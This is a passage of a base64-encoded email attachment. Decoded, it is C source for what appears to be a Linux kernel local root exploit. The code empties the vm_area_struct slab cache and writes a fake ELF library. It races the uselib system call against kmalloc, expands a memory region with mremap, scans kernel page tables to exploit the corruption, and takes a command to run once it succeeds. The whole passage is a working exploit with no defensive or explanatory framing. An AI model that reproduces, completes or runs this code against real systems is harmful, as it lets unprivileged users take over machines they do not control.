ZW9mKGwpKSAhPSAwICkNCgkJCWZhdGFsKCJtb2RpZnlfbGR0IiwgMSk7DQoJ
CXBpZHggPSBtYXhfcGFnZS0xOw0KCX0NCgllbHNlIGlmKHBudW09PTMpIHsN
CgkJbnBnPTA7DQoJCWZvcihwaWR4PTA7IHBpZHg8PW1heF9wYWdlLTE7IHBp
ZHgrKykgew0KCQkJaWYocGFnZW1hcFtwaWR4XSkgew0KCQkJCW5wZysrOw0K
CQkJCWZmbHVzaChzdGRvdXQpOw0KCQkJfQ0KCQkJZWxzZSBpZihucGcgPT0g
TERUX1BBR0VTKSB7DQoJCQkJbnBnPTA7DQoJCQkJdHJ5X3RvX2V4cGxvaXQo
YWRkcl9taW4rKHBpZHgtMSkqUEFHRV9TSVpFKTsNCgkJCX0gZWxzZSB7DQoJ
CQkJbnBnPTA7DQoJCQl9DQoJCX0NCgkJZmF0YWwoImZpbmQgTERUIiwgMSk7
DQoJfQ0KDQovLwlzYXZlIGNvbnRleHQgJiBzY2FuIHBhZ2UgdGFibGUNCglf
X2FzbV9fKCJtb3ZsCSUlZXNwLCAlMCIgOiA6Im0iKG9sZF9lc3ApICk7DQoJ
bWFwX2FkZHIgPSBhZGRyX21heDsNCglzY2FuX21tKCk7DQp9DQoNCg0KLy8J
cmV0dXJuIG51bWJlciBvZiBhdmFpbGFibGUgU0xBQiBvYmplY3RzIGluIGNh
Y2hlDQppbnQgZ2V0X3NsYWJfb2Jqcyhjb25zdCBjaGFyICpzbikNCnsNCnN0
YXRpYyBpbnQgYywgZCwgdSA9IDAsIGEgPSAwOw0KRklMRSAqZnA9TlVMTDsN
Cg0KCWZwID0gZm9wZW4oIi9wcm9jL3NsYWJpbmZvIiwgInIiKTsNCglpZigh
ZnApDQoJCWZhdGFsKCJnZXRfc2xhYl9vYmpzOiBmb3BlbiIsIDApOw0KCWZn
ZXRzKG5hbWUsIHNpemVvZihuYW1lKSAtIDEsIGZwKTsNCglkbyB7DQoJCWMg
PSB1ID0gYSA9IC0xOw0KCQlpZiAoIWZnZXRzKGxpbmUsIHNpemVvZihsaW5l
KSAtIDEsIGZwKSkNCgkJCWJyZWFrOw0KCQljID0gc3NjYW5mKGxpbmUsICIl
cyAldSAldSAldSAldSAldSAldSIsIG5hbWUsICZ1LCAmYSwNCgkJCSAgICZk
LCAmZCwgJmQsICZkKTsNCgl9IHdoaWxlIChzdHJjbXAobmFtZSwgc24pKTsN
CgljbG9zZShmaWxlbm8oZnApKTsNCglmY2xvc2UoZnApOw0KCXJldHVybiBj
ID09IDcgPyBhIC0gdSA6IC0xOw0KfQ0KDQoNCi8vCWxlYXZlIG9uZSBvYmpl
Y3QgaW4gdGhlIFNMQUINCmlubGluZSB2b2lkIHByZXBhcmVfc2xhYigpDQp7
DQppbnQgKnI7DQoNCgltYXBfYWRkciAtPSBQQUdFX1NJWkU7DQoJbWFwX2Nv
dW50Kys7DQoJbWFwX2ZsYWdzIF49IFBST1RfUkVBRDsNCg0KCXIgPSAodm9p
ZCopc3lzX21tYXAyKCh1bnNpZ25lZCltYXBfYWRkciwgUEFHRV9TSVpFLCBt
YXBfZmxhZ3MsDQoJCQkgICAgIE1BUF9QUklWQVRFfE1BUF9BTk9OWU1PVVN8
TUFQX0ZJWEVELCAwLCAwKTsNCglpZihNQVBfRkFJTEVEID09IHIpIHsNCgkJ
ZmF0YWwoInRyeSBhZ2FpbiIsIDApOw0KCX0NCgkqciA9IG1hcF9hZGRyOw0K
fQ0KDQoNCi8vCXNpZyBoYW5kbGVycw0Kdm9pZCBzZWd2Y250KGludCB2KQ0K
ew0KCXNjbnQrKzsNCglzY2FuX21tX2ZpbmlzaCgpOw0KfQ0KDQoNCi8vCWNo
aWxkIHJlYXANCnZvaWQgcmVhcGVyKGludCB2KQ0Kew0KCWNjbnQrKzsNCgl3
YWl0cGlkKDAsICZ2LCBXTk9IQU5HfFdVTlRSQUNFRCk7DQp9DQoNCg0KLy8J
c29tZXRpbWVzIEkgZ2V0IHRoZSBWTUFzIGluIHJldmVyc2VkIG9yZGVyLi4u
DQovLwlzbyBqdXN0IHVzZSBhbnlvbmUgb2YgdGhlIHR3byBidXQgdGFrZSBj
YXJlIGFib3V0IHRoZSBmbGFncw0Kdm9pZCBjaGVja192bWFfZmxhZ3MoKTsN
Cg0Kdm9pZCB2cmV2ZXJzZWQoaW50IHYpDQp7DQoJbWFwX2ZsYWdzID0gMDsN
CgljaGVja192bWFfZmxhZ3MoKTsNCn0NCg0KDQp2b2lkIGNoZWNrX3ZtYV9m
bGFncygpDQp7DQoJaWYobWFwX2ZsYWdzKSB7DQoJCV9fYXNtX18oIm1vdmwJ
JSVlc3AsICUwIiA6IDoibSIob2xkX2VzcCkgKTsNCgl9IGVsc2Ugew0KCQlf
X2FzbV9fKCJtb3ZsCSUwLCAlJWVzcCIgOiA6Im0iKG9sZF9lc3ApICk7DQoJ
CWdvdG8gb3V0Ow0KCX0NCglzaWduYWwoU0lHU0VHViwgdnJldmVyc2VkKTsN
Cgl2YWwgPSAqICh1bnNpZ25lZCopKGxpYl9hZGRyICsgUEFHRV9TSVpFKTsN
Cm91dDoNCn0NCg0KDQovLwl1c2UgZWxmIGxpYnJhcnkgYW5kIHRyeSB0byBz
bGVlcCBvbiBrbWFsbG9jDQp2b2lkIGV4cGxvaXRtZSgpDQp7DQppbnQgciwg
c3osIHBjbnQ9MDsNCnN0YXRpYyBjaGFyIHNtaWxleVtdPSItXFx8Ly1cXHwv
IjsNCg0KLy8JcHJpbnRmKCJcbiAgICBjYXQgL3Byb2MvJWQvbWFwcyIsIGdl
dHBpZCgpICk7IGZmbHVzaChzdGRvdXQpOw0KDQovLwloZWxwZXIgY2xvbmUN
CglmaW5pc2g9MDsgY2NudD0wOw0KCXN6ID0gc2l6ZW9mKGNzdGFjaykgLyBz
aXplb2YoY3N0YWNrWzBdKTsNCgljcGlkID0gY2xvbmUoJnJhY2VtZSwgKHZv
aWQqKSAmY3N0YWNrW3N6LTE2XSwNCgkJCUNMT05FX1ZNfENMT05FX1NJR0hB
TkR8Q0xPTkVfRlN8U0lHQ0hMRCwgTlVMTCApOw0KCWlmKC0xPT1jcGlkKSBm
YXRhbCgiY2xvbmUiLCAwKTsNCg0KLy8Jc3luY2hyb25pemUgdGhyZWFkcw0K
CXdoaWxlKCFmaW5pc2gpIHN5c19zY2hlZF95aWVsZCgpOw0KCWZpbmlzaD0w
Ow0KCWlmKCFzaWxlbnQpIHsNCgkJcHJpbnRmKCJcbiIpOyBmZmx1c2goc3Rk
b3V0KTsNCgl9DQoNCi8vCXRyeSB0byBoaXQgdGhlIGttYWxsb2MgcmFjZQ0K
CWZvcig7Oykgew0KDQoJCXIgPSBnZXRfc2xhYl9vYmpzKCJ2bV9hcmVhX3N0
cnVjdCIpOw0KCQl3aGlsZShyICE9IDEpIHsNCgkJCXByZXBhcmVfc2xhYigp
Ow0KCQkJci0tOw0KCQl9DQoNCgkJc3lzX2dldHRpbWVvZmRheSgmdG0xLCBO
VUxMKTsNCgkJZ28gPSAxOw0KCQlyPXN5c191c2VsaWIobGlibmFtZSk7DQoJ
CWdvID0gMDsNCgkJaWYocikgZmF0YWwoInVzZWxpYiIsIDApOw0KCQlpZihm
aW5pc2gpIGJyZWFrOw0KDQovLwl3aXBlIGxpYiBWTUFzIGFuZCB0cnkgYWdh
aW4NCgkJciA9IHN5c19tdW5tYXAobGliX2FkZHIsIExJQl9TSVpFKTsNCgkJ
aWYocikgZmF0YWwoIm11bm1hcCBsaWIiLCAwKTsNCgkJaWYoY2NudCkgZ290
byBmYWlsZWQ7DQoNCgkJaWYoICFzaWxlbnQgJiYgIShwY250JTY0KSApIHsN
CgkJCXByaW50ZigiXHIgICAgV2FpdC4uLiAlYyIsIHNtaWxleVsgKHBjbnQv
NjQpJTggXSk7DQoJCQlmZmx1c2goc3Rkb3V0KTsNCgkJfQ0KCQlwY250Kys7
DQoJfQ0KDQovLwlzZWVtcyB3ZSByYWNlZCwgZnJlZSBtZW0NCglyID0gc3lz
X211bm1hcChtYXBfYWRkciwgbWFwX2Jhc2UtbWFwX2FkZHIgKyBQQUdFX1NJ
WkUpOw0KCWlmKHIpIGZhdGFsKCJtdW5tYXAgMSIsIDApOw0KCXIgPSBzeXNf
bXVubWFwKGxpYl9hZGRyLCBQQUdFX1NJWkUpOw0KCWlmKHIpIGZhdGFsKCJt
dW5tYXAgMiIsIDApOw0KCQ0KLy8JcmVsYXgga3N3YXBkDQoJc3lzX2dldHRp
bWVvZmRheSgmdG0xLCBOVUxMKTsNCglmb3IoOzspIHsNCgkJc3lzX3NjaGVk
X3lpZWxkKCk7DQoJCXN5c19nZXR0aW1lb2ZkYXkoJnRtMiwgTlVMTCk7DQoJ
CWRlbHRhID0gdG1kaWZmKCZ0bTEsICZ0bTIpOw0KCQlpZiggd3RpbWUqMTAw
MDAwMFUgPD0gKHVuc2lnbmVkKWRlbHRhICkgYnJlYWs7DQoJfQ0KDQovLwl3
ZSBuZWVkIHRvIGNoZWNrIHRoZSBQUk9UX0VYRUMgZmxhZw0KCW1hcF9mbGFn
cyA9IFBST1RfRVhFQzsNCgljaGVja192bWFfZmxhZ3MoKTsNCglpZighbWFw
X2ZsYWdzKSB7DQoJCXByaW50ZigiXG4gICAgVk1BcyByZXZlcnNlZCIpOyBm
Zmx1c2goc3Rkb3V0KTsNCgl9DQoNCi8vCXdyaXRlIHByb3RlY3QgYnJrJ3Mg
Vk1BIHRvIGZvb2wgdm1fZW5vdWdoX21lbW9yeSgpDQoJciA9IHN5c19tcHJv
dGVjdCgobGliX2FkZHIgKyBQQUdFX1NJWkUpLCBMSUJfU0laRS1QQUdFX1NJ
WkUsDQoJCQkgUFJPVF9SRUFEfG1hcF9mbGFncyk7DQoJaWYoLTE9PXIpIHsg
ZmF0YWwoIm1wcm90ZWN0IGJyayIsIDApOyB9DQoNCi8vCXRoaXMgd2lsbCBm
aW5hbGx5IG1ha2UgdGhlIGJpZyBWTUEuLi4NCglzeiA9ICgwLWxpYl9hZGRy
KSAtIExJQl9TSVpFIC0gUEFHRV9TSVpFOw0KZXhwYW5kOg0KCXIgPSBzeXNf
bWFkdmlzZSgodm9pZCopKGxpYl9hZGRyICsgUEFHRV9TSVpFKSwNCgkJCUxJ
Ql9TSVpFLVBBR0VfU0laRSwgTUFEVl9OT1JNQUwpOw0KCWlmKHIpIGZhdGFs
KCJtYWR2aXNlIiwgMCk7DQoJciA9IHN5c19tcmVtYXAobGliX2FkZHIgKyBM
SUJfU0laRS1QQUdFX1NJWkUsDQoJCQlQQUdFX1NJWkUsIHN6LCBNUkVNQVBf
TUFZTU9WRSwgMCk7DQoJaWYoLTE9PXIpIHsNCgkJaWYoMD09c3opIHsNCgkJ
CWZhdGFsKCJtcmVtYXA6IGV4cGFuZCBWTUEiLCAwKTsNCgkJfSBlbHNlIHsN
CgkJCXN6IC09IFBBR0VfU0laRTsNCgkJCWdvdG8gZXhwYW5kOw0KCQl9DQoJ
fQ0KCXZtYV9zdGFydCA9IGxpYl9hZGRyICsgUEFHRV9TSVpFOw0KCXZtYV9l
bmQgPSB2bWFfc3RhcnQgKyBzeiArIDIqUEFHRV9TSVpFOw0KCXByaW50Zigi
XG4gICAgZXhwYW5kZWQgVk1BICgweCUuOHgtMHglLjh4KSIsIHZtYV9zdGFy
dCwgdm1hX2VuZCk7DQoJZmZsdXNoKHN0ZG91dCk7DQoNCi8vCXRyeSB0byBm
aWd1cmUga2VybmVsIGxheW91dA0KCXNpZ25hbChTSUdDSExELCByZWFwZXIp
Ow0KCXNpZ25hbChTSUdTRUdWLCBzZWd2Y250KTsNCglzaWduYWwoU0lHQlVT
LCBzZWd2Y250KTsNCglzY2FuX21tX3N0YXJ0KCk7DQoNCmZhaWxlZDoNCglm
YXRhbCgidHJ5IGFnYWluIiwgMCk7DQoNCn0NCg0KDQovLwltYWtlIGZha2Ug
RUxGIGxpYnJhcnkNCnZvaWQgbWFrZV9saWIoKQ0Kew0Kc3RydWN0IGVsZmhk
ciBlaDsNCnN0cnVjdCBlbGZfcGhkciBlcGg7DQpzdGF0aWMgY2hhciB0bXBi
dWZbUEFHRV9TSVpFXTsNCmludCBmZDsNCg0KLy8JbWFrZSBvdXIgZWxmIGxp
YnJhcnkNCgl1bWFzaygwMjIpOw0KCXVubGluayhsaWJuYW1lKTsNCglmZD1v
cGVuKGxpYm5hbWUsIE9fUkRXUnxPX0NSRUFUfE9fVFJVTkMsIDA3NTUpOw0K
CWlmKGZkPDApIGZhdGFsKCJvcGVuIGxpYiAoIkxJQk5BTUUiIG5vdCB3cml0
YWJsZT8pIiwgMCk7DQoJbWVtc2V0KCZlaCwgMCwgc2l6ZW9mKGVoKSApOw0K
DQovLwllbGYgZXhlYyBoZWFkZXINCgltZW1jcHkoZWguZV9pZGVudCwgRUxG
TUFHLCBTRUxGTUFHKTsNCgllaC5lX3R5cGUgPSBFVF9FWEVDOw0KCWVoLmVf
bWFjaGluZSA9IEVNXzM4NjsNCgllaC5lX3BoZW50c2l6ZSA9IHNpemVvZihz
dHJ1Y3QgZWxmX3BoZHIpOw0KCWVoLmVfcGhudW0gPSAxOw0KCWVoLmVfcGhv
ZmYgPSBzaXplb2YoZWgpOw0KCXdyaXRlKGZkLCAmZWgsIHNpemVvZihlaCkg
KTsNCg0KLy8Jc2VjdGlvbiBoZWFkZXI6DQoJbWVtc2V0KCZlcGgsIDAsIHNp
emVvZihlcGgpICk7DQoJZXBoLnBfdHlwZSA9IFBUX0xPQUQ7DQoJZXBoLnBf
b2Zmc2V0ID0gNDA5NjsNCgllcGgucF9maWxlc3ogPSA0MDk2Ow0KCWVwaC5w
X3ZhZGRyID0gbGliX2FkZHI7DQoJZXBoLnBfbWVtc3ogPSBMSUJfU0laRTsN
CgllcGgucF9mbGFncyA9IFBGX1d8UEZfUnxQRl9YOw0KCXdyaXRlKGZkLCAm
ZXBoLCBzaXplb2YoZXBoKSApOw0KDQovLwlleGVjYWJsZSBjb2RlDQoJbHNl
ZWsoZmQsIDQwOTYsIFNFRUtfU0VUKTsNCgltZW1zZXQodG1wYnVmLCAweDkw
LCBzaXplb2YodG1wYnVmKSApOw0KCXdyaXRlKGZkLCAmdG1wYnVmLCBzaXpl
b2YodG1wYnVmKSApOw0KCWNsb3NlKGZkKTsNCn0NCg0KDQovLwltb3ZlIHN0
YWNrIGRvd24gIzINCnZvaWQgcHJlcGFyZV9maW5pc2goKQ0Kew0KaW50IHI7
DQpzdGF0aWMgc3RydWN0IHN5c2luZm8gc2k7DQoNCglvbGRfZXNwICY9IH4o
UEFHRV9TSVpFLTEpOw0KCW9sZF9lc3AgLT0gUEFHRV9TSVpFOw0KCXRhc2tf
c2l6ZSA9ICgodW5zaWduZWQpb2xkX2VzcCArIDEgR0IgKSAvICgxIEdCKSAq
IDEgR0I7DQoJciA9IHN5c19tdW5tYXAob2xkX2VzcCwgdGFza19zaXplLW9s
ZF9lc3ApOw0KCWlmKHIpIGZhdGFsKCJ1bm1hcCBzdGFjayIsIDApOw0KDQov
LwlzZXR1cCBydCBlbnYNCgl1aWQgPSBnZXR1aWQoKTsNCglsaWJfYWRkciA9
IHRhc2tfc2l6ZSAtIExJQl9TSVpFIC0gUEFHRV9TSVpFOw0KCWlmKG1hcF9i
YXNlKQ0KCQltYXBfYWRkciA9IG1hcF9iYXNlOw0KCWVsc2UNCgkJbWFwX2Jh
c2UgPSBtYXBfYWRkciA9IChsaWJfYWRkciAtIFBHRF9TSVpFKSAmIH4oUEdE
X1NJWkUtMSk7DQoJcHJpbnRmKCJcblsrXSBtb3ZlZCBzdGFjayAleCwgdGFz
a19zaXplPTB4JS44eCwgbWFwX2Jhc2U9MHglLjh4IiwNCgkJb2xkX2VzcCwg
dGFza19zaXplLCBtYXBfYmFzZSk7IGZmbHVzaChzdGRvdXQpOw0KDQovLwlj
aGVjayBwaHlzaWNhbCBtZW0gJiBwcmVwYXJlDQoJc3lzaW5mbygmc2kpOw0K
CWFkZHJfbWluID0gdGFza19zaXplICsgc2kudG90YWxyYW07DQoJYWRkcl9t
aW4gPSAoYWRkcl9taW4gKyBQR0RfU0laRSAtIDEpICYgfihQR0RfU0laRS0x
KTsNCglhZGRyX21heCA9IGFkZHJfbWluICsgc2kudG90YWxyYW07DQoJaWYo
KHVuc2lnbmVkKWFkZHJfbWF4ID49IDB4ZmZmZmUwMDAgfHwgKHVuc2lnbmVk
KWFkZHJfbWF4IDwgKHVuc2lnbmVkKWFkZHJfbWluKQ0KCQlhZGRyX21heCA9
IDB4ZmZmZmQwMDA7DQoNCglwcmludGYoIlxuWytdIHZtYWxsb2MgYXJlYSAw
eCUuOHggLSAweCUuOHgiLCBhZGRyX21pbiwgYWRkcl9tYXgpOw0KCW1heF9w
YWdlID0gKGFkZHJfbWF4IC0gYWRkcl9taW4pIC8gUEFHRV9TSVpFOw0KCXBh
Z2VtYXAgPSBtYWxsb2MoIG1heF9wYWdlICsgMzIgKTsNCglpZighcGFnZW1h
cCkgZmF0YWwoIm1hbGxvYyBwYWdlbWFwIiwgMSk7DQoJbWVtc2V0KHBhZ2Vt
YXAsIDAsIG1heF9wYWdlICsgMzIpOw0KDQovLwlnbyBnbw0KCW1ha2VfbGli
KCk7DQoJZXhwbG9pdG1lKCk7DQp9DQoNCg0KLy8JbW92ZSBzdGFjayBkb3du
ICMxDQp2b2lkIHByZXBhcmUoKQ0Kew0KdW5zaWduZWQgcD0wOw0KDQoJZW52
aXJvbiA9IG15ZW52Ow0KDQoJcCA9IHN5c19tbWFwMiggMCwgU1RBQ0tfU0la
RSwgUFJPVF9SRUFEfFBST1RfV1JJVEUsDQoJCSAgICAgICBNQVBfUFJJVkFU
RXxNQVBfQU5PTllNT1VTLCAwLCAwCSk7DQoJaWYoLTE9PXApIGZhdGFsKCJt
bWFwMiBzdGFjayIsIDApOw0KCXAgKz0gU1RBQ0tfU0laRSAtIDY0Ow0KDQoJ
X19hc21fXygibW92bAklJWVzcCwgJTAJXG4iDQoJCSJtb3ZsIAklMSwgJSVl
c3AJXG4iDQoJCTogOiAibSIob2xkX2VzcCksICJtIihwKQ0KCSk7DQoNCglw
cmVwYXJlX2ZpbmlzaCgpOw0KfQ0KDQoNCnZvaWQgY2hsZGNudChpbnQgdikN
CnsNCgljY250Kys7DQp9DQoNCg0KLy8JYWxsb2Mgc2xhYiBvYmplY3RzLi4u
DQppbmxpbmUgdm9pZCBkb193aXBlKCkNCnsNCmludCAqciwgYz0wLCBsZWZ0
PTA7DQoNCglfX2FzbV9fKCJtb3ZsCSUlZXNwLCAlMCIgOiA6ICJtIihvbGRf
ZXNwKSApOw0KDQoJb2xkX2VzcCA9IChvbGRfZXNwIC0gUEdEX1NJWkUrMSkg
JiB+KFBHRF9TSVpFLTEpOw0KCW9sZF9lc3AgPSBtYXBfYmFzZT8gbWFwX2Jh
c2UgOiBvbGRfZXNwOw0KDQoJZm9yKDs7KSB7DQoJCWlmKGxlZnQ8PTApDQoJ
CQlsZWZ0ID0gZ2V0X3NsYWJfb2Jqcygidm1fYXJlYV9zdHJ1Y3QiKTsNCgkJ
aWYobGVmdCA8PSBTTEFCX1RIUlNIKQ0KCQkJYnJlYWs7DQoJCWxlZnQtLTsN
Cg0KCQltYXBfZmxhZ3MgXj0gUFJPVF9SRUFEOw0KCQlvbGRfZXNwIC09IFBB
R0VfU0laRTsNCgkJciA9ICh2b2lkKilzeXNfbW1hcDIob2xkX2VzcCwgUEFH
RV9TSVpFLCBtYXBfZmxhZ3MsDQoJCQlNQVBfUFJJVkFURXxNQVBfQU5PTllN
T1VTfE1BUF9GSVhFRCwgMCwgMCApOw0KCQlpZihNQVBfRkFJTEVEID09IHIp
DQoJCQlicmVhazsNCg0KCQlpZihjPlNMQUJfUEVSX0NITEQpDQoJCQlicmVh
azsNCgkJaWYoIChjJTEwMjQpPT0wICkgew0KCQkJaWYoIWMpIHByaW50Zigi
XG4iKTsNCgkJCXByaW50ZigiXHIgICAgY2hpbGQgJWQgVk1BcyAlZCIsIHZh
bCwgYyk7DQoJCQlmZmx1c2goc3Rkb3V0KTsNCgkJfQ0KCQljKys7DQoJfQ0K
CXByaW50ZigiXHIgICAgY2hpbGQgJWQgVk1BcyAlZCIsIHZhbCwgYyk7DQoJ
ZmZsdXNoKHN0ZG91dCk7DQoJa2lsbChnZXRwcGlkKCksIFNJR1VTUjEpOw0K
CWZvcig7OykgcGF1c2UoKTsNCn0NCg0KDQovLwllbXB0eSBTTEFCIGNhY2hl
cw0Kdm9pZCB3aXBlX3NsYWIoKQ0Kew0KCXNpZ25hbChTSUdVU1IxLCBjaGxk
Y250KTsNCglwcmludGYoIlxuWytdIFNMQUIgY2xlYW51cCIpOyBmZmx1c2go
c3Rkb3V0KTsNCglmb3IoOzspIHsNCgkJY2NudD0wOw0KCQl2YWwrKzsNCgkJ
Y3BpZCA9IGZvcmsoKTsNCgkJaWYoIWNwaWQpDQoJCQlkb193aXBlKCk7DQoN
CgkJd2hpbGUoIWNjbnQpIHN5c19zY2hlZF95aWVsZCgpOw0KCQlpZiggZ2V0
X3NsYWJfb2Jqcygidm1fYXJlYV9zdHJ1Y3QiKSA8PSBTTEFCX1RIUlNIICkN
CgkJCWJyZWFrOw0KCX0NCglzaWduYWwoU0lHVVNSMSwgU0lHX0RGTCk7DQp9
DQoNCg0Kdm9pZCB1c2FnZShjaGFyICpuKQ0Kew0KCXByaW50ZigiXG5Vc2Fn
ZTogJXNcdC1mIGZvcmNlZCBzdG9wXG4iLCBuKTsNCglwcmludGYoIlx0XHQt
cyBzaWxlbnQgbW9kZVxuIik7DQoJcHJpbnRmKCJcdFx0LWMgY29tbWFuZCB0
byBydW5cbiIpOw0KCXByaW50ZigiXHRcdC1uIFNNUCBpdGVyYXRpb25zXG4i
KTsNCglwcmludGYoIlx0XHQtZCByYWNlIGRlbHRhIHVzXG4iKTsNCglwcmlu
dGYoIlx0XHQtdyB3YWl0IHRpbWUgc2Vjb25kc1xuIik7DQoJcHJpbnRmKCJc
dFx0LWwgYWx0ZXJuYXRlIGxpYiBuYW1lXG4iKTsNCglwcmludGYoIlx0XHQt
YSBhbHRlcm5hdGUgYWRkciBoZXhcbiIpOw0KCXByaW50ZigiXG4iKTsNCglf
ZXhpdCgxKTsNCn0NCg0KDQovLwlnaXZlIC1zIGZvciBmb3JjZWQgc3RvcCwg
LWIgdG8gY2xlYW4gU0xBQg0KaW50IG1haW4oaW50IGFjLCBjaGFyICoqYXYp
DQp7DQppbnQgcjsNCg0KCXdoaWxlKGFjKSB7DQoJCXIgPSBnZXRvcHQoYWMs
IGF2LCAibjpsOmE6dzpjOmQ6ZnNoIik7DQoJCWlmKHI8MCkgYnJlYWs7DQoN
CgkJc3dpdGNoKHIpIHsNCg0KCQljYXNlICdmJyA6DQoJCQlmc3RvcCA9IDE7
DQoJCQlicmVhazsNCg0KCQljYXNlICdzJyA6DQoJCQlzaWxlbnQgPSAxOw0K
CQkJYnJlYWs7DQoNCgkJY2FzZSAnbicgOg0KCQkJc21wX21heCA9IGF0b2ko
b3B0YXJnKTsNCgkJCWJyZWFrOw0KDQoJCWNhc2UgJ2QnOg0KCQkJaWYoMSE9
c3NjYW5mKG9wdGFyZywgIiV1IiwgJmRlbHRhX21heCkgfHwgZGVsdGFfbWF4
ID4gMTAwMDAwdSApDQoJCQkJZmF0YWwoImJhZCBkZWx0YSB2YWx1ZSIsIDAp
Ow0KCQkJYnJlYWs7DQoNCgkJY2FzZSAndycgOg0KCQkJd3RpbWUgPSBhdG9p
KG9wdGFyZyk7DQoJCQlpZih3dGltZTwwKSBmYXRhbCgiYmFkIHdhaXQgdmFs
dWUiLCAwKTsNCgkJCWJyZWFrOw0KDQoJCWNhc2UgJ2wnIDoNCgkJCWxpYm5h
bWUgPSBzdHJkdXAob3B0YXJnKTsNCgkJCWJyZWFrOw0KDQoJCWNhc2UgJ2Mn
IDoNCgkJCXNoZWxsbmFtZSA9IHN0cmR1cChvcHRhcmcpOw0KCQkJYnJlYWs7
DQoNCgkJY2FzZSAnYScgOg0KCQkJaWYoMSE9c3NjYW5mKG9wdGFyZywgIiV4
IiwgJm1hcF9iYXNlKSkNCgkJCQlmYXRhbCgiYmFkIGFkZHIgdmFsdWUiLCAw
KTsNCgkJCW1hcF9iYXNlICY9IH4oUEdEX1NJWkUtMSk7DQoJCQlicmVhazsN
Cg0KCQljYXNlICdoJyA6DQoJCWRlZmF1bHQ6DQoJCQl1c2FnZShhdlswXSk7
DQoJCQlicmVhazsNCgkJfQ0KCX0NCg0KLy8JYmFzaWMgc2V0dXANCgl1aWQg
PSBnZXR1aWQoKTsNCglzZXRwZ3JwKCk7DQoJd2lwZV9zbGFiKCk7DQoJcHJl
cGFyZSgpOw0KDQpyZXR1cm4gMDsNCn0NCg==
--1858155129-1898149313-1105098112=:2904--
